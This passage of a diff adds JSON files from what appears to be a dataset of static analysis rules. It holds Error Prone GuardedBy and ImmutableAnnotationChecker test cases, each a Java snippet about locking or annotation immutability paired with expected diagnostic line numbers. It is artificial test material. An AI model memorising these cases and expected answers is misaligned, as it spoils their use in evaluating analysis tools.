false;\n }\n\n class B extends A {\n void m() {\n synchronized (lock) {\n flag = true;\n }\n synchronized (this.lock) {\n flag = true;\n }\n }\n }" + }, + { + "description": "superAccess_staticLock", + "expected-problems": null, + "expected-linenumbers": [ + 829 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n }\n\n class B extends A {\n void m() {\n synchronized (A.lock) {\n flag = true;\n }\n synchronized (B.lock) {\n flag = true;\n }\n }\n }" + }, + { + "description": "otherClass_bad_staticLock", + "expected-problems": null, + "expected-linenumbers": [ + 860 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n }\n\n class B {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n\n void m() {\n synchronized (B.lock) {\n // BUG: Diagnostic contains:\n // should be guarded by 'A.lock'\n A.flag = true;\n }\n synchronized (A.lock) {\n // BUG: Diagnostic contains:\n // should be guarded by 'B.lock'\n B.flag = true;\n }\n }\n }" + }, + { + "description": "otherClass_bad_staticLock_alsoSub", + "expected-problems": null, + "expected-linenumbers": [ + 900 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n }\n\n class B extends A {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n\n void m() {\n synchronized (B.lock) {\n // BUG: Diagnostic contains:\n // should be guarded by 'A.lock'\n A.flag = true;\n }\n synchronized (A.lock) {\n // BUG: Diagnostic contains:\n // should be guarded by 'B.lock'\n B.flag = true;\n }\n }\n }" + }, + { + "description": "otherClass_staticLock", + "expected-problems": null, + "expected-linenumbers": [ + 940 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class A {\n static final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n static boolean flag = false;\n }\n\n class B {\n void m() {\n synchronized (A.lock) {\n A.flag = true;\n }\n }\n }" + }, + { + "description": "instanceAccess_instanceGuard", + "expected-problems": null, + "expected-linenumbers": [ + 968 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class InstanceAccess_InstanceGuard {\n class A {\n final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n int x;\n }\n\n class B extends A {\n void m() {\n synchronized (this.lock) {\n this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'this.lock'\n this.x++;\n }\n }\n }" + }, + { + "description": "instanceAccess_lexicalGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1001 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class InstanceAccess_LexicalGuard {\n class Outer {\n final Object lock = new Object();\n\n class Inner {\n @GuardedBy(\"lock\")\n int x;\n\n void m() {\n synchronized (Outer.this.lock) {\n this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this.lock'\n this.x++;\n }\n }\n }\n }" + }, + { + "description": "lexicalAccess_instanceGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1034 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class LexicalAccess_InstanceGuard {\n class Outer {\n final Object lock = new Object();\n\n @GuardedBy(\"lock\")\n int x;\n\n class Inner {\n void m() {\n synchronized (Outer.this.lock) {\n Outer.this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this.lock'\n Outer.this.x++;\n }\n }\n }\n }" + }, + { + "description": "lexicalAccess_lexicalGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1067 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class LexicalAccess_LexicalGuard {\n class Outer {\n final Object lock = new Object();\n\n class Inner {\n @GuardedBy(\"lock\")\n int x;\n\n class InnerMost {\n void m() {\n synchronized (Outer.this.lock) {\n Inner.this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this.lock'\n Inner.this.x++;\n }\n }\n }\n }\n }" + }, + { + "description": "instanceAccess_thisGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1102 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class InstanceAccess_ThisGuard {\n class A {\n @GuardedBy(\"this\")\n int x;\n }\n\n class B extends A {\n void m() {\n synchronized (this) {\n this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'this'\n this.x++;\n }\n }\n }" + }, + { + "description": "instanceAccess_namedThisGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1133 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class InstanceAccess_NamedThisGuard {\n class Outer {\n class Inner {\n @GuardedBy(\"Outer.this\")\n int x;\n\n void m() {\n synchronized (Outer.this) {\n x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this'\n x++;\n }\n }\n }\n }" + }, + { + "description": "lexicalAccess_thisGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1164 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class LexicalAccess_ThisGuard {\n class Outer {\n @GuardedBy(\"this\")\n int x;\n\n class Inner {\n void m() {\n synchronized (Outer.this) {\n Outer.this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this'\n Outer.this.x++;\n }\n }\n }\n }" + }, + { + "description": "lexicalAccess_namedThisGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1195 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class LexicalAccess_NamedThisGuard {\n class Outer {\n class Inner {\n @GuardedBy(\"Outer.this\")\n int x;\n\n class InnerMost {\n void m() {\n synchronized (Outer.this) {\n Inner.this.x++;\n }\n // BUG: Diagnostic contains:\n // should be guarded by 'Outer.this'\n Inner.this.x++;\n }\n }\n }\n }\n }" + }, + { + "description": "complexLockExpression", + "expected-problems": null, + "expected-linenumbers": [ + 1231 + ], + "code": "package threadsafety;\n\n class ComplexLockExpression {\n final Object[] xs = {};\n final int[] ys = {};\n\n void m(int i) {\n synchronized (xs[i]) {\n ys[i]++;\n }\n }\n }" + }, + { + "description": "wrongInnerClassInstance", + "expected-problems": null, + "expected-linenumbers": [ + 1253 + ], + "code": "package threadsafety;\n\nimport com.google.errorprone.annotations.concurrent.GuardedBy;\n\nclass WrongInnerClassInstance {\n final Object lock = new Object();\n\n class Inner {\n @GuardedBy(\"lock\")\n int x = 0;\n\n void m(Inner i) {\n synchronized (WrongInnerClassInstance.this.lock) {\n // BUG: Diagnostic contains:\n // guarded by 'lock' in enclosing instance 'threadsafety.WrongInnerClassInstance' of 'i'\n i.x++;\n }\n }\n }\n}" + }, + { + "description": "tryWithResources", + "expected-problems": null, + "expected-linenumbers": [ + 1286 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n Lock lock;\n\n @GuardedBy(\"lock\")\n int x;\n\n static class LockCloser implements AutoCloseable {\n Lock lock;\n\n LockCloser(Lock lock) {\n this.lock = lock;\n this.lock.lock();\n }\n\n @Override\n public void close() throws Exception {\n lock.unlock();\n }\n }\n\n void m() throws Exception {\n try (LockCloser _ = new LockCloser(lock)) {\n x++;\n }\n }\n }" + }, + { + "description": "tryWithResources_resourceVariables", + "expected-problems": null, + "expected-linenumbers": [ + 1327 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n Lock lock;\n\n @GuardedBy(\"lock\")\n int x;\n\n void m(AutoCloseable c) throws Exception {\n try (AutoCloseable unused = c) {\n // BUG: Diagnostic contains:\n x++;\n } catch (Exception e) {\n // BUG: Diagnostic contains:\n // should be guarded by 'this.lock'\n x++;\n throw e;\n } finally {\n // BUG: Diagnostic contains:\n // should be guarded by 'this.lock'\n x++;\n }\n }\n\n void n(AutoCloseable c) throws Exception {\n lock.lock();\n try (AutoCloseable unused = c) {\n } catch (Exception e) {\n x++;\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "lexicalScopingExampleOne", + "expected-problems": null, + "expected-linenumbers": [ + 1374 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Transaction {\n @GuardedBy(\"this\")\n int x;\n\n interface Handler {\n void apply();\n }\n\n public void handle() {\n runHandler(\n new Handler() {\n public void apply() {\n // BUG: Diagnostic contains:\n // should be guarded by 'Transaction.this'\n x++;\n }\n });\n }\n\n private synchronized void runHandler(Handler handler) {\n handler.apply();\n }\n }" + }, + { + "description": "lexicalScopingExampleTwo", + "expected-problems": null, + "expected-linenumbers": [ + 1412 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Transaction {\n @GuardedBy(\"this\")\n int x;\n\n interface Handler {\n void apply();\n }\n\n public void handle() {\n runHandler(\n new Handler() {\n @GuardedBy(\"Transaction.this\")\n public void apply() {\n x++;\n }\n });\n }\n\n private synchronized void runHandler(Handler handler) {\n // This isn't safe...\n handler.apply();\n }\n }" + }, + { + "description": "aliasing", + "expected-problems": null, + "expected-linenumbers": [ + 1449 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.List;\n import java.util.ArrayList;\n\n class Names {\n @GuardedBy(\"this\")\n List names = new ArrayList<>();\n\n public void addName(String name) {\n List copyOfNames;\n synchronized (this) {\n copyOfNames = names; // OK: access of 'names' guarded by 'this'\n }\n copyOfNames.add(name); // should be an error: this access is not thread-safe!\n }\n }" + }, + { + "description": "monitorGuard", + "expected-problems": null, + "expected-linenumbers": [ + 1477 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import com.google.common.util.concurrent.Monitor;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n final Monitor monitor = new Monitor();\n\n @GuardedBy(\"monitor\")\n int x;\n\n final Monitor.Guard guard =\n new Monitor.Guard(monitor) {\n @Override\n public boolean isSatisfied() {\n x++;\n return true;\n }\n };\n }" + }, + { + "description": "semaphore", + "expected-problems": null, + "expected-linenumbers": [ + 1509 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.Semaphore;\n\n class Test {\n final Semaphore semaphore = null;\n\n @GuardedBy(\"semaphore\")\n int x;\n\n void m() throws InterruptedException {\n semaphore.acquire();\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.semaphore'\n x++;\n try {\n x++;\n } finally {\n semaphore.release();\n }\n // BUG: Diagnostic contains:\n // access should be guarded by 'this.semaphore'\n x++;\n }\n }" + }, + { + "description": "synchronizedOnLockMethod_negative", + "expected-problems": null, + "expected-linenumbers": [ + 1545 + ], + "code": "" + }, + { + "description": "suppressLocalVariable", + "expected-problems": null, + "expected-linenumbers": [ + 1567 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.concurrent.locks.Lock;\n\n class Test {\n final Lock lock = null;\n\n @GuardedBy(\"lock\")\n int x;\n\n void m() {\n @SuppressWarnings(\"GuardedBy\")\n int z = x++;\n }\n }" + }, + { + "description": "enclosingBlockScope", + "expected-problems": null, + "expected-linenumbers": [ + 1594 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int x = 1;\n\n {\n new Object() {\n void f() {\n synchronized (mu) {\n x++;\n }\n }\n };\n }\n }" + }, + { + "description": "qualifiedType", + "expected-problems": null, + "expected-linenumbers": [ + 1625 + ], + "code": "package lib;\n\n public class Lib {\n public static class Inner {\n public static final Object mu = new Object();\n }\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu = new Object();\n\n @GuardedBy(\"lib.Lib.Inner.mu\")\n int x = 1;\n\n void f() {\n synchronized (lib.Lib.Inner.mu) {\n x++;\n }\n }\n }" + }, + { + "description": "innerClassTypeQualifier", + "expected-problems": null, + "expected-linenumbers": [ + 1663 + ], + "code": "package lib;\n\n public class Lib {\n public static class Inner {\n public static final Object mu = new Object();\n }\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import lib.Lib;\n\n public class Test {\n public final Object mu = new Object();\n\n @GuardedBy(\"Lib.Inner.mu\")\n int x = 1;\n\n void f() {\n synchronized (Lib.Inner.mu) {\n x++;\n }\n }\n }" + }, + { + "description": "instanceInitializersAreUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 1701 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu1 = new Object();\n public final Object mu2 = new Object();\n\n @GuardedBy(\"mu1\")\n int x = 1;\n\n {\n synchronized (mu2) {\n x++;\n }\n synchronized (mu1) {\n x++;\n }\n }\n }" + }, + { + "description": "classInitializersAreUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 1731 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public static final Object mu1 = new Object();\n public static final Object mu2 = new Object();\n\n @GuardedBy(\"mu1\")\n static int x = 1;\n\n static {\n synchronized (mu2) {\n x++;\n }\n synchronized (mu1) {\n x++;\n }\n }\n }" + }, + { + "description": "staticFieldInitializersAreUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 1761 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public static final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n static int x0 = 1;\n\n static int x1 = x0++;\n }" + }, + { + "description": "instanceFieldInitializersAreUnchecked", + "expected-problems": null, + "expected-linenumbers": [ + 1783 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int x0 = 1;\n\n int x1 = x0++;\n }" + }, + { + "description": "innerClassMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1805 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu = new Object();\n\n class Inner {\n @GuardedBy(\"mu\")\n int x;\n\n @GuardedBy(\"Test.this\")\n int y;\n }\n\n void f(Inner i) {\n synchronized (mu) {\n // BUG: Diagnostic contains:\n // guarded by 'mu' in enclosing instance 'threadsafety.Test' of 'i'\n i.x++;\n }\n }\n\n synchronized void g(Inner i) {\n // BUG: Diagnostic contains:\n // guarded by enclosing instance 'threadsafety.Test' of 'i'\n i.y++;\n }\n }" + }, + { + "description": "innerClassInMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1845 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n public final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int i = 0;\n\n void f() {\n class Inner {\n @GuardedBy(\"mu\")\n void m() {\n i++;\n }\n }\n Inner i = new Inner();\n synchronized (mu) {\n i.m();\n }\n }\n }" + }, + { + "description": "innerClassMethod_classBoundary", + "expected-problems": null, + "expected-linenumbers": [ + 1878 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Outer {\n public final Object mu = new Object();\n\n class Inner {\n @GuardedBy(\"mu\")\n int x;\n\n @GuardedBy(\"Outer.this\")\n int y;\n }\n }\n \n\npackage threadsafety;\n\nimport com.google.errorprone.annotations.concurrent.GuardedBy;\n\npublic class Test {\n void f() {\n Outer a = new Outer();\n Outer b = new Outer();\n Outer.Inner ai = a.new Inner();\n synchronized (b.mu) {\n // BUG: Diagnostic contains:\n // Access should be guarded by 'mu' in enclosing instance 'threadsafety.Outer' of 'ai', which\n // is not accessible in this scope; instead found: 'b.mu'\n ai.x++;\n }\n synchronized (b) {\n // BUG: Diagnostic contains:\n // Access should be guarded by enclosing instance 'threadsafety.Outer' of 'ai', which is not\n // accessible in this scope; instead found: 'b'\n ai.y++;\n }\n }\n}" + }, + { + "description": "regression_b27686620", + "expected-problems": null, + "expected-linenumbers": [ + 1930 + ], + "code": "class A extends One {\n void g() {}\n }\n \n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class One {\n @GuardedBy(\"One.class\")\n static int x = 1;\n\n static void f() {\n synchronized (One.class) {\n x++;\n }\n }\n }\n\n class Two {\n @GuardedBy(\"Two.class\")\n static int x = 1;\n\n static void f() {\n synchronized (Two.class) {\n x++;\n }\n }\n }\n \n\n class B extends Two {\n void g() {}\n }" + }, + { + "description": "qualifiedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1977 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n @GuardedBy(\"this\")\n void f() {}\n\n void main() {\n // BUG: Diagnostic contains: 'this', which could not be resolved\n new Test().f();\n Test t = new Test();\n // BUG: Diagnostic contains: guarded by 't'\n t.f();\n }\n }" + }, + { + "description": "qualifiedMethodWrongThis_causesFinding_whenMatchOnErrorsFlagNotSet", + "expected-problems": null, + "expected-linenumbers": [ + 2003 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\npublic class MemoryAllocatedInfoJava {\n private static final class AllocationStats {\n @GuardedBy(\"MemoryAllocatedInfoJava.this\")\n void addAllocation(long size) {}\n }\n\n public void addStackTrace(long size) {\n synchronized (this) {\n AllocationStats stat = new AllocationStats();\n // BUG: Diagnostic contains: Access should be guarded by enclosing instance\n // 'MemoryAllocatedInfoJava' of 'stat', which is not accessible in this scope; instead found:\n // 'this'\n stat.addAllocation(size);\n }\n }\n}" + }, + { + "description": "noSuchMethod", + "expected-problems": null, + "expected-linenumbers": [ + 2032 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n Foo foo;\n\n @GuardedBy(\"foo.get()\")\n // BUG: Diagnostic contains: could not resolve guard\n Object o = null;\n }" + }, + { + "description": "lambda", + "expected-problems": null, + "expected-linenumbers": [ + 2055 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n @GuardedBy(\"this\")\n int x;\n\n synchronized void f() {\n Runnable r =\n () -> {\n // BUG: Diagnostic contains: should be guarded by 'this',\n x++;\n };\n }\n }" + }, + { + "description": "staticMemberClass_enclosingInstanceLock", + "expected-problems": null, + "expected-linenumbers": [ + 2081 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n final Object mu = new Object();\n\n private static final class Baz {\n @GuardedBy(\"mu\")\n // BUG: Diagnostic contains: could not resolve guard\n int x;\n }\n\n public void m(Baz b) {\n synchronized (mu) {\n // BUG: Diagnostic contains: 'mu', which could not be resolved\n b.x++;\n }\n }\n }" + }, + { + "description": "staticMemberClass_staticOuterClassLock", + "expected-problems": null, + "expected-linenumbers": [ + 2113 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Test {\n static final Object mu = new Object();\n\n private static final class Baz {\n @GuardedBy(\"mu\")\n int x;\n }\n\n public void m(Baz b) {\n synchronized (mu) {\n b.x++;\n }\n }\n }" + }, + { + "description": "newClassBase", + "expected-problems": null, + "expected-linenumbers": [ + 2141 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n public class Foo {\n private final Object mu = new Object();\n\n @GuardedBy(\"mu\")\n int x;\n }\n \n\n public class Bar {\n void bar(Foo f) {\n // BUG: Diagnostic contains: should be guarded by 'f.mu'\n f.x = 10;\n }\n\n void bar() {\n // BUG: Diagnostic contains: should be guarded by 'mu'\n new Foo().x = 11;\n }\n }" + }, + { + "description": "suppressionOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 2174 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n final Object lock = null;\n\n void foo() {\n class Foo extends Object {\n @GuardedBy(\"lock\")\n int x;\n\n @SuppressWarnings(\"GuardedBy\")\n void m() {\n synchronized (lock) {\n int z = x++;\n }\n }\n }\n }\n }" + }, + { + "description": "missingGuard", + "expected-problems": null, + "expected-linenumbers": [ + 2205 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n @SuppressWarnings(\"GuardedBy\")\n class Lib {\n @GuardedBy(\"lock\")\n public void doSomething() {}\n }\n \n\n package threadsafety;\n\n class Test {\n void m(Lib lib) {\n // BUG: Diagnostic contains: 'lock', which could not be resolved\n lib.doSomething();\n }\n }" + }, + { + "description": "parameterGuard", + "expected-problems": null, + "expected-linenumbers": [ + 2236 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\nclass Work {\n final Object lock = new Object();\n\n Object getLock() {\n return lock;\n }\n\n @GuardedBy(\"getLock()\")\n void workStarted() {}\n}\n\nclass Worker {\n @GuardedBy(\"work.getLock()\")\n void f(Work work) {\n work.workStarted(); // ok\n }\n\n @GuardedBy(\"work2.getLock()\")\n // BUG: Diagnostic contains: could not resolve guard\n void g() {}\n\n @GuardedBy(\"a.getLock()\")\n void g(Work a, Work b) {\n a.workStarted(); // ok\n // BUG: Diagnostic contains: should be guarded by 'b.getLock()'; instead found: 'a.getLock()'\n b.workStarted();\n }\n}\n\nabstract class Test {\n abstract Work getWork();\n\n void t(Worker worker, Work work) {\n synchronized (work.getLock()) {\n worker.f(work);\n }\n synchronized (getWork().getLock()) {\n // BUG: Diagnostic contains: guarded by 'work.getLock()'\n worker.f(getWork());\n }\n // BUG: Diagnostic contains: guarded by 'work.getLock()'\n worker.f(work);\n }\n}" + }, + { + "description": "parameterGuardNegative", + "expected-problems": null, + "expected-linenumbers": [ + 2292 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Work {\n final Object lock = new Object();\n\n Object getLock() {\n return lock;\n }\n }\n\n class Worker {\n @GuardedBy(\"work.getLock()\")\n void f(Work work) {}\n }\n\n class Test {\n void t(Worker worker, Work work) {\n synchronized (work.getLock()) {\n worker.f(work);\n }\n }\n }" + }, + { + "description": "parameterGuardNegativeSimpleName", + "expected-problems": null, + "expected-linenumbers": [ + 2324 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Work {\n final Object lock = new Object();\n\n Object getLock() {\n return lock;\n }\n }\n\n class Worker {\n @GuardedBy(\"work.getLock()\")\n void f(Work work) {}\n\n void g() {\n Work work = new Work();\n synchronized (work.getLock()) {\n f(work);\n }\n }\n }" + }, + { + "description": "varargsArity", + "expected-problems": null, + "expected-linenumbers": [ + 2355 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"xs.toString()\")\n void f(int x, Object... xs) {}\n\n void g() {\n Object[] xs = null;\n synchronized (xs.toString()) {\n f(0, xs);\n }\n // BUG: Diagnostic contains:\n f(0);\n }\n }" + }, + { + "description": "immediateLambdas", + "expected-problems": null, + "expected-linenumbers": [ + 2380 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n import java.util.Optional;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n private final List xs = new ArrayList<>();\n\n @GuardedBy(\"ys\")\n private final List ys = new ArrayList<>();\n\n public synchronized void add(Optional x) {\n x.ifPresent(y -> xs.add(y));\n x.ifPresent(xs::add);\n // BUG: Diagnostic contains:\n x.ifPresent(y -> ys.add(y));\n // BUG: Diagnostic contains:\n x.ifPresent(ys::add);\n }\n }" + }, + { + "description": "methodReferences_shouldBeFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 2411 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n import java.util.Optional;\n import java.util.function.Predicate;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n private final List xs = new ArrayList<>();\n\n private final List> preds = new ArrayList<>();\n\n public synchronized void test() {\n // BUG: Diagnostic contains:\n preds.add(xs::contains);\n }\n }" + }, + { + "description": "methodReference_referencedMethodIsFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 2438 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n import java.util.Optional;\n import java.util.function.Predicate;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n private final List> preds = new ArrayList<>();\n\n public synchronized void test() {\n Optional.of(\"foo\").ifPresent(this::frobnicate);\n // BUG: Diagnostic contains: should be guarded by\n preds.add(this::frobnicate);\n }\n\n @GuardedBy(\"this\")\n public boolean frobnicate(String x) {\n return true;\n }\n }" + }, + { + "description": "lambdaMethodInvokedImmediately_shouldNotBeFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 2468 + ], + "code": "import java.util.List;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n @GuardedBy(\"this\")\n private final Object o = new Object();\n\n public synchronized void test(List xs) {\n xs.forEach(x -> o.toString());\n }\n }" + }, + { + "description": "bindingVariable", + "expected-problems": null, + "expected-linenumbers": [ + 2489 + ], + "code": "import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n interface I {\n class Impl implements I {\n @GuardedBy(\"this\")\n private int number = 42;\n }\n\n public static void t(I other) {\n if (other instanceof Impl otherImpl) {\n synchronized (otherImpl) {\n int a = otherImpl.number;\n }\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableAnnotationChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableAnnotationChecker.json new file mode 100644 index 0000000..e29946f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableAnnotationChecker.json @@ -0,0 +1,118 @@ +{ + "name": "ImmutableAnnotationChecker", + "language": "java", + "description": "Annotations should always be immutable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 8, + "apis": 3, + "test": [ + { + "description": "nonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.lang.annotation.Annotation;\n\n class Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n // BUG: Diagnostic contains: final int x;'\n int x;\n\n private Test(int x) {\n this.x = x;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n }" + }, + { + "description": "immutable", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import java.lang.annotation.Annotation;\n import com.google.common.collect.ImmutableSet;\n\n class Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n final Annotation annotation;\n\n private Test(Annotation annotation) {\n this.annotation = annotation;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n }" + }, + { + "description": "finalMutableField", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "import java.lang.annotation.Annotation;\nimport java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.Set;\n\nclass Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n // BUG: Diagnostic contains: annotations should be immutable: 'Test' has field 'xs' of type\n // 'java.util.Set', 'Set' is mutable\n final Set xs;\n\n private Test(Integer... xs) {\n this.xs = new HashSet<>(Arrays.asList(xs));\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n}" + }, + { + "description": "annotated", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "import java.lang.annotation.Annotation;\n import com.google.errorprone.annotations.Immutable;\n\n // BUG: Diagnostic contains: annotations are immutable by default\n @Immutable\n class Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n }" + }, + { + "description": "mutableFieldType", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "class Foo {}\n \n\n import java.lang.annotation.Annotation;\n import java.util.Arrays;\n import java.util.HashSet;\n import java.util.Set;\n\n class Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n // BUG: Diagnostic contains: the declaration of type 'Foo' is not annotated with\n // @com.google.errorprone.annotations.Immutable\n final Foo f;\n\n private Test(Foo f) {\n this.f = f;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n }" + }, + { + "description": "anonymous", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "import java.lang.annotation.Annotation;\n import com.google.common.collect.ImmutableSet;\n\n class Test {\n {\n new Deprecated() {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n };\n }\n }" + }, + { + "description": "anonymousReferencesEnclosing", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "import java.lang.annotation.Annotation;\n import java.util.Objects;\n import com.google.common.collect.ImmutableSet;\n\n class Test {\n {\n // BUG: Diagnostic contains: 'Deprecated' has mutable enclosing instance\n new Deprecated() {\n {\n 